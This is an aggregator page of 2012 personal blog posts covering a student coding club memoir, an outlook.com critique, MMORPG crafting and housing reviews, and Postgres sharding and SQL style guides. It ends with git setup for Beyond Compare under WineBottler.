Hacker News Personal Blogs 2012 | Top 100 Blogs

SDSLabs - My experiences

Nemo's Home — Thu, 27 Dec 2012 02:00:00 GMT

Introduction

For the past two years, I have been involved in a student group in our campus called SDSLabs. It has been the most fun two years of my life. I have acted as programmer, developer, manager, monkey-coder, event-manager and all other roles one might expect in a startup. However, I have never really blogged about any of this. Someone pointed it out recently to me, the truth is I have been meaning to write this since a very long time, but its kind of hard to put down in words. I’ll try my best. This post is highly specific to iit roorkee (you have been warned).

Chronology Of Events / Timeline

Back in my first year, after joining something called SDS as a proficiency in the campus, I was learning PHP. With no-one to guide me, I had only attended a single talk by Shobhit Singh where he talked about dynamic websites. I was instantaneously hooked. I did something called lion, a twitter clone and it won 3rd prize in Srishti. It had follow, unfollow, messages, tweets, and groups (one feature which set it apart from twitter).

The code was a mess of php and inline html, and I have never looked upon it since. I did a couple more projects by myself , learning the in and outs of php (I was still to hear about ruby/python). At the end of my first year, I did a project management system under Kumar Shashank who taught me about MVC and the need of architecture in a software application.

At the very end of the project, a group called SDSLabs was formed. Along with a few people Shobhit sir had found, we founded SDSLabs. Everyone in the group was passionate about building things. And somehow, magically, I was in it. And there began the most beautiful chapter of my life..

Coding & Learning

After completing the PMS (Project Management System), I moved on to work on Filepanda, and then the entire framework application for SDSLabs. All our applications are powered by a single API, which I wrote. Meanwhile, Harshil was working on DC++, and other awesome things. I met pranav sir, and was introduced to the thousand-quirks-of-css. It shifted to mint, and then to ubuntu. I learned the ins-and-out of managing a linux system. Back then SDSLabs was limited to the small committee room in Hobbies Club (with Shobhit Sir working tirelessly on funding for a better lab).

And I met Ishan Sir. If you are reading this, thank you for teaching me how to learn. I had tons of night-outs with him discussing things I barely remember now. I became a creator. I executed on tons of ideas. Most never saw the second day in their lives, but I still have them with me, as memento of the past and what was to be. Ishan Sir was a gold-mine for learning. Everything I could ever ask, and he’d hand over a resource. Some of my most productive learning days were spent with him.

Recruitments

After a single semester of work, we held our first recruitments. I wrote my first blog post for the lab at the time noting down my amazing reaction to the awesome people that had joined the lab.

It is difficult to distil into words the awesome learning experience I had with all these people. Going to chapos, thinking about how we could expand. What else awesome stuff we could do? One night hackathons, where we coded awesome stuff.

And I started to work on Muzi, which was to be my application. It stands at 811 commits today, with over 200 issues in our project management system. I went into the development knowing PHP and bits of AJAX, and came out a JQuery fanboy. Muzi has been my primary music player for almost an year now. It feels awesome to listen to music on a music player you coded. The initial version was based on Zune’s design on Windows. We kept on improving it till it was exactly what we wanted. Today, people have listened to almost 1 lac songs on Muzi, and it feels awesome to have been behind something that is so widely used (within the campus).

Launch

The next semester involved our actual launch (11-11-11) of all our applications. We had all converted into semi-breathing coding machines cum zombies by that time though. Sleepless and exhausted, we did prevail, and launched a few hours early. The Launch was appreciably recieved in the campus, although I had to leave for the Deloitte CCTC Contest the very same day(which we won!).

I ended up doing a rewrite of Codematics (codename CodeBot) in node for the launch. It has a geeky, command line interface which was inspired by goosh and xkcd’s unix interface. Along with that, Muzi was launched to huge appreciation as well.

Recruitments Again

This was the semester where our group actually expanded. Our count is almost 42 now, and nothing could make me more glad than actually being with all these people.

I donned lots of hats teaching, guiding, coding, and managing people. Linux became one of my top skills, and I learnt a lot. We shifted to Redmine for management, and I ended up doing a lot of server-administration related stuff (gitolite,redmine,vhosts ,apache,varnish etc).

It has almost been a year since our last recruitment. We have been working of tons of things; some of which will be launched soon. I took lectures on far apart topics from “Usability Designing” to [“Software Development 101”].(https://speakerdeck.com/captn3m0/software-development-101) I mostly worked on internal features, improving our API, and something called Presence. We also participated in two hackathons, and we won both of them.

Where, now?

Our group is still nascent, and although I have not mentioned every project that the group (or even I) have done for fear of making this post too long. That itself speaks volumes about what we’ve done in a short span of two years. Our tagline reads “iDream. iCode. iInnovate”. I wish for the group to continue on that path. Develop things that make life easier; for everyone around the world.

People

Throughout this journey, there have been lots of people, without whom this blog post would never have been written. You all know who you are. Keep being awesome.

Skills

I used to call myself a programmer, but now I’m in a more management-esque role in SDSLabs. Its my share of the work to manage projects, and track progress. That does not mean that I’ve given up coding, and I still do code a lot for our internal projects. I have also become somewhat of a UX enthusiast, taking care of most ux work done in lab. I have also found myself becoming an avid learner, and have Ishan Sir to thank for that.

Anecdotes & Stories

This post already reads more like a things-i-did-at-sdslabs, which is something I was hoping to avoid, instead of why-i-love-sdslabs, which is what i wanted. So I’m gonna stick a few moments and events that stand out to me…

We have a board with three defining people on it: Steve Jobs, Dennis Ritchie, and Linus Torvalds.
We have had mind-blowing pizza chapos. So many pizzas that they were brought in 2 rickshaws from dominos. Yup.
I am known as the bot in lab. Mostly because of my highly rational unemotional responses, and other things. There is another person, who is trying to get that title, though.
I am famously known for turning down “writing a letter that could have fetched us lots of funding” for coding instead. (In my defense, there were other people who could have handled it better than me, and we didn’t need it badly at the time)
Almost every group in the campus describes their group as a second home. But in our case it is partially true. We spend almost all our free time in lab. I spent close to 500 hours in the lab in this semester alone. Where does this all this time go? Talking, discussions, development, teaching, lectures among other things.
SDSLabs feels more of a startup than an actual student group to me (and Shashank as well). We have to fight for our funding, manage people, and develop products.
I have done way too much copy-editing to be called “just a developer” anymore. I have spent hundreds of hours fighting Pinta and its numerous bugs.

It has been a great experience working with all these people. I can just hope that the group keeps moving to better innovation, and grander ideas in the future. We are recruiting from first year in upcoming January. If SDSLabs feels like a place you’d enjoy, just come over and take our test. It changed my life, maybe it will change yours too.

Why I'm leaving outlook.com

Nemo's Home — Sat, 22 Dec 2012 02:00:00 GMT

I’d been one of the most eager users of the new outlook.com redesign. I’m a real fan of Metro (sorry, I must call it the New Windows 8 Design), and think that the correct typgraphy mixed with the correct design language should help the users in a great way forward.

Unfortunately, outlook.com is not there yet. The application was made to resemble the Windows Mail app in Windows 8, with 3 tiles per screen. On Windows, the application works in 1/2/3 width modes differently. It changes its navigational strategy to allow you to browse your emails easily. While this could have been easily accomplished using responsive design techniques on the web, outlook does not use it and loses sorely needed funcionality.

The typography of the app is horribly broken, especially in Linux. The font of choice for the app is Calibri, which is missing in Linux, and as such, uses the default system font from the browser. The font sizes are inconsistent, and the application shortcuts are horrible, even though I am using GMail shorcuts option.

The “Insert Link” option is horribly designed. It does not respond to enter keys, and has no place to add “Text” for the link either.

There is no mechanism for quoting messages properly at all. There is no such thing like Conversation View, and I have to waste large amounts of time just to figure out what was added new in the reply to my own mail. As such this becomes largely cumbersome to keep up with.

The archive option from GMail (which keeps my inbox clean) is notably missing as well. (Update: This was added later, with the ability to use archive to move to any custom folder)

The “Active View”, which seems to be a quick preview mode, only works on Windows, because it uses Silverlight. I tried using Moonlight (Silverlight’s OSS clone for Linux), but it seems that Active View uses new Silverlight features. Hence, I can only download pics from Outlook, and not browse them online (which is a huge pain-point for me).

/Rant

The Perils of Watching TED Talks

Beetle Space — Fri, 21 Dec 2012 10:00:00 GMT

First, watch this TED talk about oxytocin - the “moral molecule”:

Then watch this segment of another TED talk:

A Guide to Midnight Commander

Beetle Space — Tue, 18 Dec 2012 10:00:00 GMT

In the old days of DOS there used to be a great graphical, but text based, file manager called Norton Commander.

These days the name “Norton” attached to any software product causes people to shudder. In those days, though, everything Peter Norton touched turned to gold. Even after selling Peter …

Succeeding Star Wars: Galaxies

Ben Overmyer's Site — Mon, 17 Dec 2012 02:00:00 GMT

The Repopulation may be the science fiction sandbox MMORPG that we've all been waiting for. That's a very grandiose statement to make, I know. Hear me out, though, and you'll see why this may just be Star Wars: Galaxies 2. First, a little background on the team behind this upcoming MMORPG. The company Above and Beyond Technologies is headed up by Joshua Halls and J.C. Smith. Joshua Halls seems to be a relative newcomer to professional game development, but J.C. Smith has been involved with Nintendo for several years. The rest of the team is an amalgamation of professionals and amateurs with aims to become professionals, and the quality of the game even in its alpha state is testament to their collective skill. Regardless of what happens with Repopulation, I see great things in store for this team. Back in June, A&B ran a Kickstarter for The Repopulation that asked for the very modest sum of $25,000 to finish the game by mid 2013. Considering that Star Citizen earned itself seven million dollars through crowdfunding, and that The Repopulation itself earned just over $50,000 in its Kickstarter, I think they were selling themselves a little short. They would have been better served by paying more attention to their Kickstarter campaign at this time. That said, the influx of cash certainly has added a lot of polish to an already-polished game.

Spiritual Successor to Galaxies

Even just watching the few videos on Youtube that A&B has released will get you excited about the game if you're a fan of SWG. While the crafting system is certainly different from how SOE did it, preferring to use an overall grading system ranging from F0 to A9 instead of Galaxies' 1-1000 resource attribute system, the feel is similarly complex. Your skill at crafting improves on a per-recipe basis, not just a per-category one, as with SWG. You may be fantastic at producing light weapon components but abysmal at medium weapon components. This kind of system provides for a lot of variety in crafted items, and bodes well for a player economy. Also, The Repopulation has a unique item decay system. Items have a Minor and Major condition, which decrease over usage. They can be increased by repairing an item, but repairing reduces the item's durability. Eventually, you will either wear out or repair your item into oblivion, requiring a replacement in much the same fashion as SWG had.

The Fittings System

Interestingly, The Repopulation has an item customization system which completely separates visuals from mechanics. You choose the appearance of items using molds, and then you can give the items stats by adding various Fittings. Fittings wear out just like items, and come in the same F0 to A9 grades. There's a lot of complexity here, and a lot of opportunity for customization. Now, that does mean that inevitably there will appear Flavor of the Month item Fitting combinations, but no game is safe from that. Fittings first appeared in conceptual form in the now-defunct Hero's Journey, the very first MMORPG built on Simutronics' Hero Engine. Hero Engine, made famous by Star Wars: The Old Republic, has a special place in my heart. I worked as a world builder GM for Hero's Journey prior to its cancellation, and the engine was so easy and fun to work with that I was giddy with anticipation on what HJ would amount to. While that game never materialized, Fittings have seemed to survive through The Repopulation, which also uses Hero Engine. That makes me very happy.

These Graphics Don't Suck

Generally, indie games tend to fall into one of two categories - either they're artsy, or they're just bad. On rare occasions you'll find one that hits a very high-quality mark that competes with AAA titles. The Repopulation is one of those that has great visual appeal without catering to a niche audience. Some of the visual feel is comparable to Star Wars: The Old Republic, in terms of animation flow and physics determination. However, most of it has its own particular theme that suits the game's premise very well. The GUI is well presented and clean. In essence, The Repopulation's UI looks a lot like how I'd imagine SWG would look, if given ten years to advance. The spiritual succession remains intact there. The icons being 2D instead of 3D is a departure, but a lot of the flavor is still present.

Creature Handlers Rejoice

The Repopulation features a pet taming system comparable to SWG's. You find juvenile creatures and tame them, then teach them abilities they can use in combat. Also like SWG and other games since, you can harvest creatures for their parts. However, The Repopulation's creature-harvesting system is even more complex than SWG's. Like with item crafting, you gain skill in harvesting from specific types of animals, so while you might be excellent at fetching skins from the six-legged scorpion-like beasties, you might suck at getting bone from others.

Oh, and Entertainers Too

Yes, The Repopulation will have entertainers. And yes, they're a lot like SWG entertainers, being able to buff other players at campsites by dancing or playing music. But they're a lot more, too - they can weave stories, tell jokes, and customize buffs to a degree Galaxies players opined for.

Nation Building: Beyond Galaxies

In SWG, player cities were a much-anticipated and enjoyed feature. However, The Repopulation goes a step beyond even this. Not only can players build out cities using buildings, furniture, city walls, and other decorative goodies, but they can populate those cities with NPCs, manage the NPC populace, declare war or allegiance with other player nations, and command player militaries with custom ranks and titles. The nation system provides the third faction that SOE never got around to developing in SWG. If you choose to align yourself with a player nation instead of one of the two NPC nations, you have access to a host of customizations that are currently only touched on in EVE Online.

The One Failure

No game company, especially an indie company, is immune to failure. In this case, Above and Beyond's big failure is in its marketing. Only through word of mouth is hype spread about this game. While A&B does have a presence at a few major industry conventions, they have no advertising to speak of, and no marketing strategy. As a result, the player population could be devastatingly small at release for such a player-centric game. This may spell disaster for A&B unless they have help. So, if you're at all interested in the kind of sandbox MMORPG that Star Wars: Galaxies presented, give The Repopulation a look! I know I'll be following its development very closely over the next year. There's a lot more about the game that's similar to SWG, so head over to their website and check it out.

Star Wars: Galaxies Crafting

Ben Overmyer's Site — Sun, 09 Dec 2012 02:00:00 GMT

Crafting in MMORPGs is a troublesome, complex issue. The ability for players to create things with which to equip, clothe, and house themselves is difficult for developers to implement, and many companies have tried a variety of ways to try and address this feature. My first real experience with crafting in MMORPGs was in Star Wars: Galaxies, and that has colored my view on crafting ever since. This is not to say that SWG had a perfect system, but it came closest out of all the MMOs I've played. This is chiefly due to the following eight factors. This is a fairly long read, so grab a cup of coffee, put on your bunny slippers, and sit back in your favorite chair.

I: Item Decay

In early Star Wars: Galaxies, items decayed over time and would eventually become unusable. If an item ever became unusable, it was done - you couldn't repair it, like in other games since. Even if you repaired items before they became unusable, you were never able to bring it back to full durability. The item's maximum durability decreased every time you repaired it. The effect this had on the player economy was to keep crafters in business perpetually. There was always a demand for things like weapons and armor, because those players who engaged in combat were always wearing out their gear. Vehicles, after they were added to the game, similarly decayed and could be outright destroyed. I remember distinctly being very upset whenever I lost a swoop, since that meant a long walk back to town and around 20,000 credits spent to replace it. This system of item decay has never been replicated in any other game.

II: Customization

When crafting an item in SWG, you were able to choose its final appearance in a few ways. Clothing was the most customizable, with a variety of colors available. Weapons could have different models with different barrels (in the case of blasters). Armor, similarly, could have multiple colors. The skill level of the crafter determined to what degree the item could be customized. This meant that high-level crafters were in high demand for those players who cared about appearances, and could charge more for their services. Oddly enough, item customization as far as appearance goes has never been done very well in MMORPGs. That crown goes to Blacklight: Retribution, a free-to-play online FPS with excellent weapon customization. The game lets you change barrels, stocks, triggers, bodies, accessories, and colors of all of the above.

III: Experimentation

Part of the crafting process in Star Wars: Galaxies allowed you to improve the quality of a crafted item before finishing it. You could choose multiple areas to try and improve; in the case of blasters, for example, you could experiment on increasing damage, range, or accuracy. Depending on the crafter's skill and the materials used to create the item, experimentation could greatly enhance, marginalize, or utterly wreck a crafted item's stats. No other game since has implemented an item-modification system quite like this.

IV: Resource Variation

Every resource in Star Wars: Galaxies had a unique set of statistics. Different kinds of item recipes used different sets of these statistics to determine the item's qualities. Additionally, resource spawns in the game universe varied by planet and were in limited areas and densities. Every week, a new set of resources would spawn throughout the universe, and the old spawn areas were gone forever. This meant no resource would ever appear more than once, and really good resources thus became very precious. Because of this system, harvesting itself became a lucrative business. Some players devoted multiple accounts just to collecting the best resources and selling them to other players. Some games have come close to this kind of variation. Oddly, the one that has nearly replicated SWG's resource variation is an MMOFPS rather than an MMORPG - Firefall. Like SWG, Firefall's resources appear for a limited time, have multiple statistics that are randomly generated, and never appear twice.

V: Automated Harvesting

This feature made a world of difference to the crafting economy. Players could craft automated harvesters and place them in the world. Then, the player that placed the harvester chose one of the resources available in that area from the harvester's command panel, and it would steadily recover a certain amount of that resource every minute or so. Harvesters required fuel to operate, which itself was a resource that could be harvested. Harvesters could be experimented on and improved in multiple areas, just like other items, and so a niche market existed just for harvesters. Harvesters had an administration list that allowed the owner to designate other players as being able to turn on, fuel, and change the target resource for them. Since every character only had 10 plots, and each harvester took 1 plot, in order to field large numbers of harvesters a player would need to either have multiple accounts or engage the services of other players. This further supported a niche market for harvesting. No other game has ever had automated harvesting, although the idea of harvesting as a lucrative in-game “profession” has been done also by EVE Online.

VI: Mass Production

In addition to automated harvesters, players could craft and place factories. These buildings took power and maintenance credits like harvesters. They also had a hopper of limited space for ingredients and for generated items. At the end of the crafting process, players had the option of creating a blueprint instead of a finished item. They could take that blueprint, and stacks of the ingredients used to produce the item, and place them in a factory. Once the factory was turned on, it would generate copies of that item until it ran out of power, maintenance credits, ingredients, or available space in the output hopper. Not only was this a godsend for crafters looking to mass produce items for sale, it also was a requirement to create certain items. Many of the higher-end crafted items required “identical” components - that is, stacks of items created by a factory from a blueprint. No other game has ever done this. While not a requirement for a good crafting system, it's necessary to support sandbox games that rely on player crafted items, since small populations can still create large numbers of items.

VII: Loot Sucks

Players that chose to engage in PvE gameplay in SWG relied heavily on the crafters. Items looted from humanoid NPCs were never very good, and creatures had no loot at all until later in SWG's life. This meant that player-crafted gear was the only option for combatants, and required players to work together in order to play the game. Lone wolves rarely did well. No MMORPG other than early SWG has ever done this again. Even SWG itself later did away with this, preferring to give players vendor trash, crafting components, and crafting blueprints.

VIII: Non-Instanced Housing

Non-instanced housing itself is not particularly relevant to crafting. However, the way it was implemented in SWG makes it vital to that ecosystem. All player-owned buildings were player-crafted. Harvesters, factories, houses, guild halls, city halls, shuttleports, med centers, and taverns were all created by players. And they were very expensive to build, at least at first. When player cities were first added to the game, I was my guild's Architect (an in-game profession dedicated solely to crafting buildings). Leading up to the release of player cities, we stockpiled large quantities of the resources needed to build the various city buildings. As soon as the update went live, I sat at my structure crafting station and put together a city hall deed, and we rushed to be one of the player cities on our planet. At the time, only ten cities could be established on any given planet. We were too late to be one of the cities on Corellia, so we hurriedly traveled to its moon, Tarus, and set down roots a kilometer northwest of the Imperial outpost there. In order to craft that city hall, and any high-end items, I need a personal crafting station of the appropriate type for the item. Public crafting stations couldn't stand in for them. Personal crafting stations needed to be placed in a player house, and they took a number of advanced components. They had a direct impact on the final quality of items, so all serious crafters absolutely had to have access to a house with all the different types of personal crafting stations. This led to most guilds having dedicated “crafting houses” that were so equipped, with backpacks placed in them with large quantities of the various resources needed for crafting. No other game has ever had non-instanced housing with such a rich connection to player crafting - both in the building and usage of them. That brings me to the end of my list. I wish I could find a game that had all of these features. SOE may be bringing all of this back with EQ Next, but until we get a science-fiction MMORPG that has all of the above, I don't think we'll ever come close to what Star Wars: Galaxies had. Here's to hoping, though!

Variety of Updates

Ben E. C. Boyter — Tue, 04 Dec 2012 01:40:37 GMT

A variety of updates have just rolled out. Firstly there is the new look and feel which I am actually proud of. The website looks far better, which wasn’t hard considering how awful it looked before. The other update is that documentation and code results are mixed together now. An example of this would be the search for mysql_query which displays the PHP reference which has mysql_query in it above the code results.

Sharding your database

CRAIG KERSTIENS — Fri, 30 Nov 2012 22:55:56 GMT

I’m increasingly encountering users on Heroku that are encountering the need to [shard](http://en.wikipedia.org/wiki/Shard_(database_architecture)) their data. For most users this is something you delay as long as possible as you can generally go for sometime before you have to worry about it. Additionally scaling up your database is often a reasonable approach early on and something I encourage as a starting point as scaling up is easy to do with regards to databases. However, for the 1% of users that do need to shard when the time comes many are left wondering where to start, hence the following guide.

What and Why

Sharding is the process of splitting up your data so it resides in different tables or often different physical databases. Sharding is helpful when you have some specific set of data that outgrows either storage or reasonable performance within a single database.

Logical Shards

First when initially implementing sharding you’ll want to create an arbitrary number of logical shards. This will allow you to change less code later when it comes to adding more shards. You’ll also want to define your shards to the power of 2. Generally I’d recommend for most services 1024 can be a good number, I believe Instagram actually used 4096, either can really be an appropriate number. For simplicity sake lets start with an example of using 4 logical shards. First lets look at an example set of users:

 id | email | name
----+---------------------------+-----------------
1 | craig.kerstiens@gmail.com | Craig Kerstiens
2 | john.doe@gmail.com | John Doe
3 | jane.doe@gmail.com | Jane Doe
4 | user4@gmail.com | User 4
5 | user5@gmail.com | User 5
6 | user6@gmail.com | User 6
7 | user7@gmail.com | User 7
8 | user8@gmail.com | User 8

Dividing these up into logical shards we’re going to have something that looks roughly like this:

Its important when sharding that you find a mechanism that requires you to not hit the database. As the above example shows its using the ID of the row inside the database instead we’re likely going to want to determine the shard based on a hash of some value such as the email:

logical_shard = hash(User.email) % 4

Physical Shards

From here we’ll then take the logical shards and create actual physical shards. If you have a single physical shard you’re using a single database, but the rest of your application code is ready to handle additional shards. For now lets use an example of two physical shards, the end result would be dividing our data up somehow like this:

The physical shard to access can easily be counted by taking the modulus of the logical shard its on by the physical shards that exist:

total_physical_shards = 2
total_logical_shards = 4
logical_shard = hash(User.email) % total_logical_shards
physical_shard = logical_shard % total_physical_shards

Generating IDs (Primary Keys)

As you’re distributing data across multiple databases you’ll want to avoid using an integer as your primary key. This would cause for keys to be duplicated within your database and make for a headache when attempting to report against your data. Instead the ideal is to use a UUID as the primary key. By using a UUID and generating this in either your application code or within your database you ensure each User ID is actually unique.

Adding Capacity

The best case scenario for most web applications, such is the case for Instagram, is to have to scale beyond their initial capacity, in order to do this you’ll simple expand the number of physical shards. In order to do this you’ll want to move data from one physical shard to another, then remove data from the old physical shard. Its also generally a good practice to grow your physical shards in powers of 2 the same way you would your logical shards. Lets take a look at a clearer example of how we would do this using the Heroku Postgres Service…

First we’re going to add a follower for each shard we have:

We’re then going to promote our followers to be their own independent databases which can accept writes. This means we’ll have two copies that can be written to with the same data:

At this point you can update your application code to have the new number of physical shards and it should begin writing data to the appropriate place. Of course you do still want to clean up some of that extra data. To do this you’ll want to remove the data that doesn’t belong in the appropriate shard. For example, id of 3 wouldn’t belong in physical shard 1 any more. Now we can run a background process to clean up such data:

Conclusion

While many applications may never need to scale out their database, when they do, sharding can be both straight forward and effective. While I would encourage many to scale up first as it is an easy option, hopefully this provides further guidance to how to scale out. For those that do anticipate this needed planning for it early with key things such as using UUID’s can make the process less painful.

This article of course only grazes the surface, if there’s interest from readers there will be more specifics to follow with actual code examples.

Why I left Guild Wars 2 for EverQuest 2

Ben Overmyer's Site — Sun, 18 Nov 2012 02:00:00 GMT

Last week, I left the Guild Wars 2 guild that I'd been in since before launch. There are a number of reasons why, but the primary catalyst was that I just wasn't playing as often as I used to, or engaging in the community as much as I had been. Prior to release, I was very active on the guild forums, wrote a couple blog posts for the guild's blog, and was generally very excited for the launch of the game we were so highly anticipating. After release, that level of excitement stayed steady for a little while, then began a slow but steady decline. The “new car smell” had left Guild Wars 2 for me, and while it was still fun, I wasn't as dedicated to it as I had been. My guild found my level of inactivity unacceptable, and I decided to leave rather than attempt to force myself to spend time in an area I no longer had interest in. As a result, I found myself once again drifting between MMOs. I played Planetside 2's beta for a bit, Wizardry Online's beta, DC Universe Online, Star Trek Online, and finally, Everquest 2. It was Everquest 2 that finally brought me back into the fold as a regular player, and the bugs in Guild Wars 2's Lost Coast event that put the final nail in that game's coffin for me.

Growing in a New Direction: Player Housing

Since I quit playing Everquest 2 in 2010, SOE has quietly added a TON of content to EQ2. They even have technology that lets your avatar's face mimic your face's movements, so your character will literally laugh as you laugh, and frown as you frown. While all of that is awesome, it was the player housing that got me to stay. When I played Star Wars: Galaxies, one of the things that always held my interest was the player housing. I loved creating unusual setups in my houses, and the new buildings they started to add in the last couple years of the game really scratched my interior design itch. Unfortunately, SWG folded at the end of 2011. You can view my music video of the last few hours of the game's life on YouTube. So, I was left to find a new game that offered something similar. Vanguard: Saga of Heroes had promise, but it doesn't have nearly as robust a system or as active a community as Everquest 2. My characters in EQ2 that I'd abandoned for greener pastures years ago were higher level than my Vanguard characters, and that helped the situation, since I could jump right into affording new furniture and other decorations for my house. The controls for decorating are more user-friendly than SWG's, allowing me to raise, lower, move, and rotate items. I can't control pitch and yaw, but I've heard those are coming. My dwarf paladin, Himbri, still lives in an acorn. I would trade up for a bigger house with a bind point in Qeynos, but I honestly don't use all the space in my acorn, so that'd be a bit of a waste at this point.

Player Studio: Player-made Content

The other thing that made me choose Everquest 2 is the Player Studio. This awesome feature lets players submit new models and textures for inclusion in the game itself. They are sold in the EQ2 Marketplace for Station Cash, of which the player that made them gets a sizable portion. Since I have some ability in the 3D modeling and texturing arenas, this has me excited for the possibilities. I may not ever get the chance to work on an MMORPG, but this at least lets me contribute to one in a lasting and meaningful way.

Guildfinder: An App for Windows 8

Last but not least, my newfound interest in EQ2 is well-timed with the release of Windows 8. I'm an early adopter, and a developer by profession, so it seemed only natural that I'd try and make an app for the game that I'd recently adopted. As it happens, EQ2 offers an API now that's just as robust as World of Warcraft's, if not more so. So, I'm in the process of creating an app for Win8 that lets the user find, view, and share guild information for Everquest 2 guilds. I'll post updates about it occasionally here, so keep coming back!

How I Write SQL

CRAIG KERSTIENS — Sat, 17 Nov 2012 22:55:56 GMT

I recently got asked by a friend and former co-worker how I write SQL. At first this caught me by surprise and I assumed there was nothing different, but after a few additional comments on it, it became clear most people have no concept for creating clean readable SQL. So without further adieu here’s how I write SQL, with a built up example query.

First let’s understand an example schema:

# \dt
Schema | Name | Type | Owner
--------+----------------------------+-------+----------------
public | app_rating | table | craig
public | app_recommendation | table | craig
public | app_userprofile | table | craig
public | app_wine | table | craig
public | app_winemakeup | table | craig
public | app_winery | table | craig
public | auth_user | table | craig

The above schema contains wines from wineries, that users give ratings and notes to. Especially relevant is the app_rating table, it contains a variety of things we’re going to want report against:

# \d app_rating
Table "public.app_rating"
Column | Type | Modifiers
------------+--------------------------+---------------------------------------------------------
id | integer | not null default nextval('app_rating_id_seq'::regclass)
user_id | integer | not null
wine_id | integer | not null
rated_at | date | not null
rating | integer | not null
notes | text |
tags | character varying(255)[] |
created_at | timestamp with time zone | not null

Most of the above should be pretty straightforward, though if you’re unfamiliar with Arrays in Postgres check out this earlier article

Given all this data lets say we want to produce some query that for a given wine contains the winery, the average rating, the tags for it. Diving in I’ll typically start by creating each key part then pulling it together. Let’s start with grabbing the average.

But first some basic structure, for maximum readability I make sure to use all caps for reserved SQL words. For a large query I make sure all my columns/conditions are on their own line. So to get the average it would look something like this:

SELECT
avg(rating),
wine_id
FROM
app_wine
GROUP BY
wine_id;

Next I’ll work with the array of tags which has some specific things to Postgres:

SELECT DISTINCT
unnest(tags) as tag,
wine_id
FROM
app_rating
GROUP BY
wine_id, tags;

Finally I’m going to put it all together. This is going to have an additional query to get the winery and the wine name as well. We’re also going to use CTE’s (Common Table Expressions), think of these as temporary views that can make your query more readable:

WITH
wine_ratings as (
SELECT
avg(rating) as rating,
wine_id
FROM
app_rating
GROUP BY
wine_id),
wine_tags as (
SELECT DISTINCT
unnest(tags) as tag,
wine_id
FROM
app_rating
GROUP BY
wine_id, tags),
wine_detail as (
SELECT
app_wine.name as name,
app_wine.id,
app_winery.name as winery
FROM
app_wine,
app_winery
WHERE app_wine.winery_id = app_winery.id
)
SELECT
name,
rating,
array_agg(tag),
winery
FROM
wine_ratings,
wine_detail
LEFT OUTER JOIN
wine_tags ON wine_detail.id = wine_tags.wine_id
WHERE wine_detail.id = wine_ratings.wine_id
GROUP BY
name,
rating,
winery
ORDER BY
rating DESC

One thing to point out, is SELECT, FROM and ORDER BY are followed by a new line. When I have WHERE multiple conditions I ensure the AND and the condition occur on the same line. This is intentional to make those easier to read as well as easy to remove/add. The key to allowing it to still be readable is an extra two spaces before the AND so the condition aligns with the above one. This would appear something similar to:

SELECT foo
FROM bar
WHERE foo.id = bar.foo_id
AND foo.created_at > now() - '7 days'::INTERVAL

And just for an example we get this result from the query:

 name | rating | array_agg | winery
-----------------------+--------+--------------------+------------------------
Bordeaux Blend | 5.0 | {'dry', 'smooth'} | Chateau Rahoul
Cabernet Franc | 5.0 | {'chocolate'} | Beaucanon
Cabernet Sauvignon | 5.0 | {'young', 'dry'} | Hawkes

While very long, this should ideally be quite legible.

Building a search engine? The most important feature you can add.

Ben E. C. Boyter — Fri, 16 Nov 2012 01:21:48 GMT

TL/DR Part of the genius behind DuckDuckGo customer retention is the !bang feature. Every new search engine should implement it while trying to gain traction.

Let me explain. Your current search engine is like a favorite couch. Its comfortable, familiar and you have been using it for years. Switching is not a comfortable experience.

Im a search engine junkie. The moment I discover a new one I switch my defaults over to it and for a period of about a week use it day to day. Altavista, Google, Yahoo, MSN, Live, Bing, Gigablast, Cuil, Blekko, Baidu, Yandex, IxQuick, Ask, DuckDuckGo (DDG), Verticalset, Millionshort. I have tried them all and those are just a few of the General Purpose search engines.

Use Beyond Compare as a Git Diff/Merge Tool in OS X

Donat Studios — Wed, 14 Nov 2012 02:07:03 GMT

Update 12/26/2013: The Mac Beta is now available and there is no reason to use WineBottler anymore. Instructions and an updated post are here!

I switched from Windows to Mac for work a little over a year ago (I've been using Macs at home for years) and there is one program I still could not live without - Scooter Software's wonderful Beyond Compare. I've tried every single diff tool available and none have lived up to Beyond Compare. It truly lives up to its name.

I've had Beyond Compare running in WineBottler for a while now, but was never able to get passing arguments to work correctly. Today I had a revelation. On creating the bottle it asks you for arguments to pass the executable, I had not provided any. Ends up it then passes the first argument as an empty string, which prevented the first argument being a file! Huzzah, an easy fix, pass it an innocuous argument! So here are some directions on getting it set up!

Beyond Compare Installation / Configuration

The first step is to download WineBottler if you don't already have it. Just drag the WineBottler.app and Wine.app into your /Applications directory. Then download the Windows version of the Beyond Compare Installer and hang onto it.

Launch WineBottler.app. In the left pane choose "Create Custom Prefixes", then for the Install File, choose the Beyond Compare Installer downloaded earlier. To my knowledge no Winetricks are necessary. Check the Self-contained checkbox to make a stand alone application.

IMPORTANT: WineBottler passes a blank argument if you leave the Runtime Arguments blank, which Beyond Compare interprets as the first filename - an annoying bug that took me months to figure out. To get around this we can pass it an innocuous argument (see arguments). I chose /nobackups because I don't want backups and they are turned off by default anyway.

Click Install. It will ask you to save your App, do so in /Applications. I named mine as BeyondCompare.app and paths later will reflect this.

Follow the installer. After the installer completes Beyond Compare may pop up if you've left the launch checkbox checked. Just close the window. Choose BCompare.exe when it asks you for the default executable (BComp.exe is for batch scripting).

Git Configuration

The paths in the following presume you named your app BeyondCompare.app so these may be adjusted as necessary.

Add the following to your ~/.gitconfig file. Remove anything existing that contradicts these settings. I've named the diff and merge tools bc3wb as git already has baked in support for the Windows version, which it calls bc3.

Beyond Compare 3 Professional

[diff]
    tool = bc3wb
[difftool "bc3wb"]
    cmd = /Applications/BeyondCompare.app/Contents/MacOS/WineBottlerStarter \"$LOCAL\" \"$PWD/$REMOTE\"
[merge]
    tool = bc3wb
[mergetool "bc3wb"]
    cmd = /Applications/BeyondCompare.app/Contents/MacOS/WineBottlerStarter \"$PWD/$LOCAL\" \"$PWD/$REMOTE\" \"$PWD/$BASE\" \"$PWD/$MERGED\"
    keepBackup = false
    trustExitCode = false

Beyond Compare 2 / 3 Standard

[diff]
    tool = bc3wb
[difftool "bc3wb"]
    cmd = /Applications/BeyondCompare.app/Contents/MacOS/WineBottlerStarter \"$LOCAL\" \"$PWD/$REMOTE\"

Note: I am unable to get the mergetool portion working in Beyond Compare 2 or 3 Standard as WineBottler is interpreting /savepath= as a filepath and converting it to z:\savepath= rather than properly passing the arguments. If anyone has any advice on how to fix this I would be ecstatic.

Voila, now you can git mergetool and git difftool it up!

Using Postgres Arrays in Django

CRAIG KERSTIENS — Tue, 06 Nov 2012 22:55:56 GMT

